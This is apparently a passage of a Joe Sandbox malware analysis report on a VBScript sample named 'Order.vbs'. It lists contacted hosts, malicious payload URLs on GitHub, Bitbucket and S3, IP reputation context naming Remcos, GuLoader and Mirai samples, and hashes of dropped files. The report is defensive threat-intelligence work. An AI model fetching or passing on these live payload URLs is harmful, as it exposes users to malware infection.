https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723	powershell.exe, 00000003.00000002.2679834341.000002818745F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2379283237.000001F500001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2379283237.000001F5045C7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2379283237.000001F500222000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://aui-cdn.atlassian.com/	powershell.exe, 00000006.00000002.2379283237.000001F5003F7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/;	powershell.exe, 00000006.00000002.2379283237.000001F5003F7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://remote-app-switcher.stg-east.frontend.public.atl-paas.net	powershell.exe, 00000006.00000002.2379283237.000001F5003F7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://aka.ms/pscore68	powershell.exe, 00000003.00000002.2679834341.0000028186F3E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2379283237.000001F500001000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000003.00000002.2679834341.0000028186F6E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2379283237.000001F500001000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bitbucket.org	powershell.exe, 00000006.00000002.2379283237.000001F500222000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://bbuseruploads.s3.amazonaws.com/cbff8810-ace3-4466-81b1-12ba7827c90a/downloads/6b181c48-ea9d-	powershell.exe, 00000006.00000002.2379283237.000001F5003FB000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
154.216.17.141	unknown	Seychelles	135357	SKHT-ASShenzhenKatherineHengTechnologyInformationCo	true
52.217.161.161	s3-w.us-east-1.amazonaws.com	United States	16509	AMAZON-02US	true
185.166.143.48	bitbucket.org	Germany	16509	AMAZON-02US	true
185.199.108.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	true
178.237.33.50	geoplugin.net	Netherlands	8455	ATOM86-ASATOM86NL	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1538690
Start date and time:	2024-10-21 17:04:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Order.vbs
Detection:	MAL
Classification:	mal100.rans.spre.troj.spyw.expl.evad.winVBS@10/13@4/6
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 100% Number of executed functions: 50 Number of non-executed functions: 139
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 93.184.221.240, 184.28.90.27
Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, wu.ec.azureedge.net, tse1.mm.bing.net, ctldl.windowsupdate.com, g.bing.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, wu.azureedge.net, fe3cr.delivery.mp.microsoft.com, e16604.g.akamaiedge.net, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, hlb.apr-52dd2-0.edgecastdns.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net
Execution Graph export aborted for target powershell.exe, PID 1880 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Order.vbs

Simulations

Behavior and APIs

Time	Type	Description
11:05:13	API Interceptor	41x Sleep call for process: powershell.exe modified
11:05:32	API Interceptor	2x Sleep call for process: svchost.exe modified
11:05:59	API Interceptor	1070640x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.166.143.48	https://bitbucket.org/36273637sunshine/sunshine/downloads/example.exe	Get hash	malicious	Unknown	Browse
	Z2tJveQl3B.exe	Get hash	malicious	Unknown	Browse
	70973273827.exe	Get hash	malicious	DBatLoader, FormBook	Browse
	ip4.cmd	Get hash	malicious	Unknown	Browse
	Doc047892345y.exe	Get hash	malicious	DBatLoader, FormBook	Browse
	SecuriteInfo.com.Trojan.GenericKD.74258817.17122.7170.exe	Get hash	malicious	Vidar, Xmrig	Browse
	849128312.cmd	Get hash	malicious	Unknown	Browse
	6706e721f2c06.exe	Get hash	malicious	Remcos	Browse
	OTO2wVGgkl.exe	Get hash	malicious	Unknown	Browse
	https://tiotapas.com.au	Get hash	malicious	Unknown	Browse
185.199.108.133	cr_asm.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	vF20HtY4a4.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	VvPrGsGGWH.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	OSLdZanXNc.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	gaber.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	cr_asm.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
178.237.33.50	rIMG465244247443GULFORDEROpmagasinering.cmd	Get hash	malicious	Remcos, GuLoader	Browse	geoplugin.net/json.gp
	1729445225fa0e5768d1d682409147d63519fc74f7a5fbd0985a9e3ffe794cd2fed7b2306d148.dat-decoded.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	duEsmKBlGr.exe	Get hash	malicious	Unknown	Browse	www.geoplugin.net/xml.gp?ip=SEU_IP
	lA0Z0vjXfA.exe	Get hash	malicious	Unknown	Browse	www.geoplugin.net/xml.gp?ip=SEU_IP
	172926254156daf582728190320bacb622ccd105a50446fe4e74bbec68be10e3a78d1b71e6763.dat-decoded.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	SKM_0001810-01-2024-GL-3762.bat	Get hash	malicious	Remcos, GuLoader	Browse	geoplugin.net/json.gp
	SecuriteInfo.com.Variant.Ulise.323893.7366.1016.exe	Get hash	malicious	Unknown	Browse	www.geoplugin.net/xml.gp?ip=SEU_IP
	Ibnh3BCQSQ.exe	Get hash	malicious	Unknown	Browse	www.geoplugin.net/xml.gp?ip=SEU_IP
	nicetokissthebestthingsiwantotgetmebackwith.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	geoplugin.net/json.gp
	rIMGTR657365756.bat	Get hash	malicious	Remcos, GuLoader	Browse	geoplugin.net/json.gp

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bitbucket.org	https://bitbucket.org/36273637sunshine/sunshine/downloads/example.exe	Get hash	malicious	Unknown	Browse	185.166.143.48
	Z2tJveQl3B.exe	Get hash	malicious	Unknown	Browse	185.166.143.48
	PI and payment confirmed Pdf.exe	Get hash	malicious	DBatLoader	Browse	185.166.143.50
	890927362736.exe	Get hash	malicious	DBatLoader, FormBook	Browse	185.166.143.50
	https://bitbucket.org/aaa14/aaaa/downloads/script3.txt	Get hash	malicious	Unknown	Browse	185.166.143.50
	https://bitbucket.org/aaa14/aaaa/downloads/xwormberlyn.txt	Get hash	malicious	Unknown	Browse	185.166.143.49
	70973273827.exe	Get hash	malicious	DBatLoader, FormBook	Browse	185.166.143.48
	ip4.cmd	Get hash	malicious	Unknown	Browse	185.166.143.48
	Proforma fatura ektedir.exe	Get hash	malicious	DBatLoader, FormBook	Browse	185.166.143.49
	Doc047892345y.exe	Get hash	malicious	DBatLoader, FormBook	Browse	185.166.143.48
s3-w.us-east-1.amazonaws.com	https://bitbucket.org/36273637sunshine/sunshine/downloads/example.exe	Get hash	malicious	Unknown	Browse	3.5.28.243
	https://www.bing.com/ck/a?!&&p=c60f44e2e0299106bbda17ed4610b6a047eac19fa538687ebec1fc78213d7903JmltdHM9MTcyOTEyMzIwMA&ptn=3&ver=2&hsh=4&fclid=234c270a-e3bc-6c48-2bf3-3210e2866d6d&psq=Siemens+v17&u=a1aHR0cHM6Ly9wbGM0bWUuY29tL2Rvd25sb2FkLXRpYS1wb3J0YWwtdjE3LWZ1bGwtdmVyc2lvbi1nb29nbGVkcml2ZS8&ntb=1	Get hash	malicious	Unknown	Browse	52.217.121.241
	https://vendor-agreement.s3.amazonaws.com/folder4/doc-11te68fpfa.html	Get hash	malicious	Unknown	Browse	3.5.28.238
	Simple.exe	Get hash	malicious	Unknown	Browse	3.5.28.174
	Simple.exe	Get hash	malicious	Unknown	Browse	3.5.28.119
	PI and payment confirmed Pdf.exe	Get hash	malicious	DBatLoader	Browse	3.5.12.147
	890927362736.exe	Get hash	malicious	DBatLoader, FormBook	Browse	3.5.25.173
	Account report.docx	Get hash	malicious	Unknown	Browse	52.217.103.156
	Account report.docx	Get hash	malicious	Unknown	Browse	3.5.29.61
	https://bitbucket.org/aaa14/aaaa/downloads/script3.txt	Get hash	malicious	Unknown	Browse	3.5.28.88
bg.microsoft.map.fastly.net	DRUMMONDLTD _ 21ST_OCTOBER_2024 _.PDF	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://docs.google.com/drawings/d/1rNIRSAgTQ9BvkQDgt6I1-bvyHw8Lwl60PfNx3hGnniY/preview?pli=128762876287628762876287628762876	Get hash	malicious	Unknown	Browse	199.232.210.172
	Carboline Quote Request.eml	Get hash	malicious	HTMLPhisher	Browse	199.232.214.172
	TENDER ADDENDUM NO. 01.vbs	Get hash	malicious	GuLoader	Browse	199.232.214.172
	272766612509812656.js	Get hash	malicious	Unknown	Browse	199.232.210.172
	Aviso de transferencia.exe	Get hash	malicious	AsyncRAT, PureLog Stealer	Browse	199.232.210.172
	258491645830653677.js	Get hash	malicious	Unknown	Browse	199.232.214.172
	ekte.exe	Get hash	malicious	FormBook	Browse	199.232.210.172
	https://library.wic.ac.uk/upload/~/app/step2.php?id=37602430	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://library.wic.ac.uk/upload/~/app/step3.php?id=5384235	Get hash	malicious	Unknown	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	Document.xla.xlsx	Get hash	malicious	Unknown	Browse	76.76.21.61
	INV00663.docx	Get hash	malicious	HTMLPhisher	Browse	18.239.83.112
	https://mlbmajorlossbuilders.hbportal.co/flow/66fdd3a6c031cc001f728831/view?hash=54079a777636a614d8d961b5b9a96a5f	Get hash	malicious	Unknown	Browse	35.163.144.222
	Thermo Fisher RFQ_TFS-1702.xls	Get hash	malicious	Unknown	Browse	76.76.21.98
	Document.xla.xlsx	Get hash	malicious	Unknown	Browse	76.76.21.98
	PO-1021202416777 PNG2023-W111.xls	Get hash	malicious	Unknown	Browse	76.76.21.22
	Thermo Fisher RFQ_TFS-1702.xls	Get hash	malicious	Unknown	Browse	76.76.21.93
	PO-1021202416777 PNG2023-W111.xls	Get hash	malicious	Unknown	Browse	76.76.21.9
	https://www.google.co.nz/url?q=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp%2Falinegrazielle.com%2FKaW12DtgTK%2F28KOjymVGMvsdxoOV3okyunn/S0pvbmVzQGtvbmlhZy1ncy5jb20=	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	18.245.31.33
	https://www.google.co.nz/url?q=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp%2Falinegrazielle.com%2FKaW12DtgTK%2FCGJiV2TYiHhEjaWZAqcgtold/S0pvbmVzQGtvbmlhZy1ncy5jb20=	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	18.245.31.33
SKHT-ASShenzhenKatherineHengTechnologyInformationCo	bot.x86.elf	Get hash	malicious	Mirai, Okiru	Browse	154.216.17.159
	bot.mips.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	154.216.17.159
	bot.m68k.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	154.216.17.159
	bot.x86_64.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	154.216.17.159
	bot.mpsl.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	154.216.17.159
	bot.arm7.elf	Get hash	malicious	Mirai, Okiru	Browse	154.216.17.159
	bot.ppc.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	154.216.17.159
	bot.sh4.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	154.216.17.159
	bot.arm5.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	154.216.17.159
	bot.arm.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	154.216.17.159
AMAZON-02US	PO-1021202416777 PNG2023-W111.xls	Get hash	malicious	Unknown	Browse	76.76.21.9
	Document.xla.xlsx	Get hash	malicious	Unknown	Browse	76.76.21.61
	INV00663.docx	Get hash	malicious	HTMLPhisher	Browse	18.239.83.112
	https://mlbmajorlossbuilders.hbportal.co/flow/66fdd3a6c031cc001f728831/view?hash=54079a777636a614d8d961b5b9a96a5f	Get hash	malicious	Unknown	Browse	35.163.144.222
	Thermo Fisher RFQ_TFS-1702.xls	Get hash	malicious	Unknown	Browse	76.76.21.98
	Document.xla.xlsx	Get hash	malicious	Unknown	Browse	76.76.21.98
	PO-1021202416777 PNG2023-W111.xls	Get hash	malicious	Unknown	Browse	76.76.21.22
	Thermo Fisher RFQ_TFS-1702.xls	Get hash	malicious	Unknown	Browse	76.76.21.93
	PO-1021202416777 PNG2023-W111.xls	Get hash	malicious	Unknown	Browse	76.76.21.9
	https://www.google.co.nz/url?q=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp%2Falinegrazielle.com%2FKaW12DtgTK%2F28KOjymVGMvsdxoOV3okyunn/S0pvbmVzQGtvbmlhZy1ncy5jb20=	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	18.245.31.33
FASTLYUS	https://mlbmajorlossbuilders.hbportal.co/flow/66fdd3a6c031cc001f728831/view?hash=54079a777636a614d8d961b5b9a96a5f	Get hash	malicious	Unknown	Browse	151.101.128.176
	https://infinconsumer.lh1ondemand.com/	Get hash	malicious	Unknown	Browse	151.101.128.114
	https://www.google.hn/url?q=//www.google.ee/amp/s/h2f35e7.ubpages.com/bdeda8-f4eb-4ed8-b	Get hash	malicious	HTMLPhisher	Browse	185.199.108.153
	Constate	Get hash	malicious	Unknown	Browse	151.101.67.6
	https://library.wic.ac.uk/upload/~/app/step2.php?id=37602430	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://library.wic.ac.uk/upload/~/app/step3.php?id=5384235	Get hash	malicious	Unknown	Browse	151.101.194.137
	https://www.childkorea.or.kr/bbs/link.html?code=alarm&number=3064&url=https://form.jotform.com/242923371946059	Get hash	malicious	HTMLPhisher	Browse	151.101.2.132
	https://s3.us-east-2.amazonaws.com/revealedgceconomies/vdiq197yvi/ImgBurn_822881.exe?	Get hash	malicious	Unknown	Browse	185.199.108.133
	http://www.5movierulz.mom	Get hash	malicious	Unknown	Browse	185.199.110.133
	8NR95Z54o9.js	Get hash	malicious	STRRAT	Browse	199.232.196.209

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	index.html	Get hash	malicious	Unknown	Browse	185.199.108.133 52.217.161.161 185.166.143.48
	Ricevuta_di_pagamento.vbs	Get hash	malicious	GuLoader	Browse	185.199.108.133 52.217.161.161 185.166.143.48
	https://www.google.co.nz/url?q=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp%2Falinegrazielle.com%2FKaW12DtgTK%2F28KOjymVGMvsdxoOV3okyunn/S0pvbmVzQGtvbmlhZy1ncy5jb20=	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	185.199.108.133 52.217.161.161 185.166.143.48
	https://www.google.co.nz/url?q=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp%2Falinegrazielle.com%2FKaW12DtgTK%2Fn8shpNHR5esID4MN5V6n2I56/RENhcm5vdnNreUBrb25pYWctZ3MuY29t	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	185.199.108.133 52.217.161.161 185.166.143.48
	index.html	Get hash	malicious	Unknown	Browse	185.199.108.133 52.217.161.161 185.166.143.48
	TENDER ADDENDUM NO. 01.vbs	Get hash	malicious	GuLoader	Browse	185.199.108.133 52.217.161.161 185.166.143.48
	IMGRO Facturi nepl#U0103tite 56773567583658567835244234Bandido.vbs	Get hash	malicious	Remcos, GuLoader	Browse	185.199.108.133 52.217.161.161 185.166.143.48
	RFQ 1307.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	185.199.108.133 52.217.161.161 185.166.143.48
	Anfrage fur Proforma-Lieferrechnung und Zahlungsbedingungen.vbs	Get hash	malicious	GuLoader	Browse	185.199.108.133 52.217.161.161 185.166.143.48
	FACTURA RAGOZA.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	185.199.108.133 52.217.161.161 185.166.143.48

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263224106465184
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0n:9JZj5MiKNnNhoxu2
MD5:	20CFC810633BADCA9989FBC80B50EB38
SHA1:	AC3849B2E3F3A655864FA356BF666BC891DF13E6
SHA-256:	390E6F7B7CB114718735F8608C65A4C826B80251D2238B6FA51634FBEB0A1395
SHA-512:	A8BD8145E58BB43D1FDBFC0663A55F0E69FE87A3324D4A3720336AA9A36EC0F9620CC64FA2F2A2894A490729202D8196D466DDE93231475AF525D51135215A9E
Malicious:	false
Reputation:	low
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x68e0ee62, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555816831759415
Encrypted:	false
SSDEEP:	1536:dSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:dazaSvGJzYj2UlmOlOL
MD5:	BC1D51189410599C6178C3C6E655FE42
SHA1:	268E2E6C7BFF4D971ADDAC4613C906E916AA4105
SHA-256:	EAFA6E5F9E671B72FEAD7F2797641AE5B95296D4EDA0481352C29AABAA822E67
SHA-512:	5D8812CF6A42C122EA3D8309C8D97BFC01B4C23D78CAFD146906888E648426F50043070D1E2B4B192D677FE83F1D1415D29991E0A9A5B907518EC63D7D201379
Malicious:	false
Reputation:	low
Preview:	h..b... .......7.......X\...;...{......................0.e......!...{?. ....\|..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{................................../... ....\|!.................o... ....\|...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07889440851284857
Encrypted:	false
SSDEEP:	3:3mXEYeyyZmh3reuNaAPaU1lI0vVhlXlolluxmO+l/SNxOf:WUzBmhKuNDPaUw+zegmOH
MD5:	6C9A0A118D2B0DCF1E0B27A1B448B42B
SHA1:	E95AFA2BEF49881A242B2CFDC1F292D5C53C77EE
SHA-256:	A1FA80F7B6BF837F5A7F9112868B49EB9829E39B00EDF931A61328AA4D0D1B83
SHA-512:	D7F5C07097E89C7F94BFE62B05D705D7FE109607D9D1D685D423C816BA757599399CC9A32C14358A3FE5CA5A76DF728D9B3006CB10C7C154BF22403ADD72B4B5
Malicious:	false
Reputation:	low
Preview:	.d.......................................;...{.. ....\|...!...{?..........!...{?..!...{?..g...!...{?.................o... ....\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\json[1].json

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	modified
Size (bytes):	960
Entropy (8bit):	5.007342357625525
Encrypted:	false
SSDEEP:	12:tkhEVBnd6UGkMyGWKyGXPVGArwY307f7aZHI7GZArpv/mOAaNO+ao9W7iN5zzkwc:qhEV1dVauKyGX85jvXhNlT3/73clHWro
MD5:	2384C8ED5D39845A7043C8E4AF84F3F2
SHA1:	1A4A72CFF979CDD293034EFDFB35F0C6FA3ABD75
SHA-256:	AFB89F4CFEB681642FBADDAFE06E6BFAA298850FDA6771E80BA97B8A79527465
SHA-512:	387793D3C3700EFA89D4197DFB11FC667C63C6416068DCC2751953FE6C6EEAA4F2534D32F2F8E9EBB2F5119229BDADB173985E6EF106EFFF71180441197F7291
Malicious:	false
Reputation:	low
Preview:	{. "geoplugin_request":"216.52.183.150",. "geoplugin_status":200,. "geoplugin_delay":"2ms",. "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.",. "geoplugin_city":"New York",. "geoplugin_region":"New York",. "geoplugin_regionCode":"NY",. "geoplugin_regionName":"New York",. "geoplugin_areaCode":"",. "geoplugin_dmaCode":"501",. "geoplugin_countryCode":"US",. "geoplugin_countryName":"United States",. "geoplugin_inEU":0,. "geoplugin_euVATrate":false,. "geoplugin_continentCode":"NA",. "geoplugin_continentName":"North America",. "geoplugin_latitude":"40.7157",. "geoplugin_longitude":"-74",. "geoplugin_locationAccuracyRadius":"20",. "geoplugin_timezone":"America\/New_York",. "geoplugin_currencyCode":"USD",. "geoplugin_currencySymbol":"$",. "geoplugin_currencySymbol_UTF8":"$",. "geoplugin_currencyConverter":0.}

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulX7q/z:NllUO/
MD5:	33B27B4D36310772C7A54B3955F9D1A6
SHA1:	A578C11DAFD9EEAE67C386945B56798254081E3A
SHA-256:	B8F5378861AA615CB830B63DDB3DF06C575F0D4CDF0BC87DDF16C490C99A57E6
SHA-512:	1FB6A4FA46B0880902F911ED8A0AD49AAE389F50BBCB33A537A6079125183D9541C514274D24AF341D665E6F016E2D5150B698024A8053712A26143D9810D42F
Malicious:	false
Preview:	@...e.................................F..............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5xim2zri.xrv.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gbttndlk.5n2.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m1m3swds.k3s.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oiyygwzw.jro.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_scz0e1kg.jsg.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
